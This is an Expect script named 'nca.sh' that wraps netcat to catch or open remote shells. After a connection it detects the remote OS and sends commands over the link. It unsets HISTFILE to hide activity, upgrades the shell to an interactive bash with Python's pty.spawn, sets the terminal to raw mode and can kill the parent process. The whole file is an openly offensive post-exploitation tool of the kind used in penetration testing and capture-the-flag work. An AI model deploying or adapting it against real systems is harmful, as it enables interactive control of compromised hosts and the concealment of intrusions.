nca

nca.sh

#!/usr/bin/expect
# nca - nc wrapper by SNADO team
# Requires: expect, nc and optionally tmux

set LISTEN false
set ADDR "0.0.0.0"
set PORT 0
set TMUX false
set UDP ""
set KILL true

set argsCount [llength $argv];
set i 0
while { $i < $argsCount } {
    switch [lindex $argv $i] {
		"-l" {
			set LISTEN true
		}
		"-u" {
			set UDP "-u"
		}
		"-t" {
			set TMUX true
		}
		"-k" {
			set KILL false
		}
		default {
			if { $i == $argsCount-2 } {
				set ADDR [lindex $argv $i]
			} else {
				set PORT [lindex $argv $i]
			}
		}
	}
    set i [expr $i+1];
}

if { $PORT > 0 && ($LISTEN == true || $ADDR != "0.0.0.0") } {

	if { $LISTEN == true } {
		if { $ADDR == "0.0.0.0" } {
			set CMD "(nc $UDP -lvp $PORT; echo -e '\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3')"
		} else {
			set CMD "(nc $UDP -lvp $PORT -s $ADDR; echo -e '\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3')"
		}
		set MSG "\[\033\[94m*\033\[0m\] Waiting for connections on $ADDR:$PORT"
		set EXP "onnect"
	} else {
		set CMD "(nc -v $UDP $ADDR $PORT; echo -e '\xf5\xe7\xf3\xf5\xe7\xf3\xf5''\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3')"
		#set CMD "($arg3 nc -v $ADDR $PORT; echo -e '\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3')"
		set MSG "\[\033\[94m*\033\[0m\] Connecting to $ADDR:$PORT"
		set EXP "open"
	}

	log_user 0
	set timeout -1
	
	spawn "/bin/bash"
	send "$CMD\n"
	puts $MSG

	expect {
		$EXP {
			puts "\[\033\[92m+\033\[0m\] Connected"
			
			send "echo 'un''ix'\n"
			#sleep 0.2
			sleep 0.5
			expect {
				"unix" {
					puts "\[\033\[92m+\033\[0m\] Unix detected"
					
					if { $LISTEN == true && $TMUX == true } {
						send \x1A
						if { $ADDR != "0.0.0.0" } {
							send "tmux new-window -d '$::argv0 -l -t $ADDR $PORT'\n"
						} else {
							send "tmux new-window -d '$::argv0 -l -t $PORT'\n"
						}
						send "fg\n"
					}
				}
				"'un''ix'" {
					puts "\[\033\[92m+\033\[0m\] Windows detected"
					
					if { $LISTEN == true && $TMUX == true } {
						send \x1A
						if { $ADDR != "0.0.0.0" } {
							send "tmux new-window -d '$::argv0 -l -t $ADDR $PORT'\n"
						} else {
							send "tmux new-window -d '$::argv0 -l -t $PORT'\n"
						}
						send "fg\n"
						
						expect ")"
						expect ")"
						expect ")"
					}
										
					send "\n"
					interact -o "\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3" return
					
					puts ""
					puts "\[\033\[94m*\033\[0m\] Terminated"
					exit
				}
			}
			send "unset HISTFILE\n"
			send "p=`which python python2 python3 python2.7 python3.5 python2.6 python3.4 python3.6 | xargs | cut -d ' ' -f 1`;if \[ ! -z \$p \]; then echo 'P''YTHON-OK'; \$p -c 'import pty;pty.spawn(\"/bin/bash\")'; else echo 'P''YTHON-ERR'; fi\n"
			expect {
				"PYTHON-OK" {
					set ROWS [exec tput lines]
					set COLS [exec tput cols]
					puts "\[\033\[92m+\033\[0m\] python found"
					expect {
						"$ " {
						}
						"# " {
						}
						"% " {
						}
					}
					send \x1A
					puts "\[\033\[94m*\033\[0m\] Setting terminal"
					expect ":"
					send "stty raw -echo\n"
					send "fg\n"
					expect {
						"$ " {
						}
						"# " {
						}
						"% " {
						}
					}
					if { $KILL == true } {
						send "kill -s 9 `ps -fp \$PPID | awk \"/\$PPID/\"' { print \$3 } '`\n"
					}
					send "reset\n"
					expect {
						"$ " {
						}
						"# " {
						}
						"% " {
						}
					}
					send "id\n"
					expect {
						"Terminal type?" {
							send "xterm-256color\n"
						}
						"uid=" {
						}
					}
					send "stty rows $ROWS columns $COLS\n"
					send "export SHELL=bash\n"
					send "export TERM=xterm-256color\n"
					send "unset HISTFILE\n"
					send "clear\n"
					#send "uname -a; id\n"
					sleep 0.5
					interact -o "\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\n" return
					
				}
				"PYTHON-ERR" {
					puts "\[\033\[91m-\033\[0m\] python not found"
					puts "\[\033\[92m+\033\[0m\] Interacting"
					send "uname -a; id\n"
					interact -o "\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3\xf5\xe7\xf3" return
				}
			}
			puts ""
			puts "\[\033\[94m*\033\[0m\] Terminated"
		}
		"Connection refused" {
			puts "\[\033\[91m-\033\[0m\] Connection refused"
		}
		"Permission denied" {
			puts "\[\033\[91m-\033\[0m\] Permission denied"
		}
		"forward host lookup failed" {
			puts "\[\033\[91m-\033\[0m\] Forward host lookup failed"
		}
		"Cannot assign requested address" {
			puts "\[\033\[91m-\033\[0m\] Cannot assign requested address"
		}
		"invalid port" {
			puts "\[\033\[91m-\033\[0m\] Invalid port"
		}
		"invalid local port" {
			puts "\[\033\[91m-\033\[0m\] Invalid local port"
		}
		"Address already in use" {
			puts "\[\033\[91m-\033\[0m\] Address already in use"
		}
		"*** buffer overflow detected ***" {
			puts "\[\033\[91m-\033\[0m\] *** buffer overflow detected ***"
		}
	}
	exit
} else {
	puts "Usage: $::argv0 \[-l\] \[-t\] \[addr\] port"
}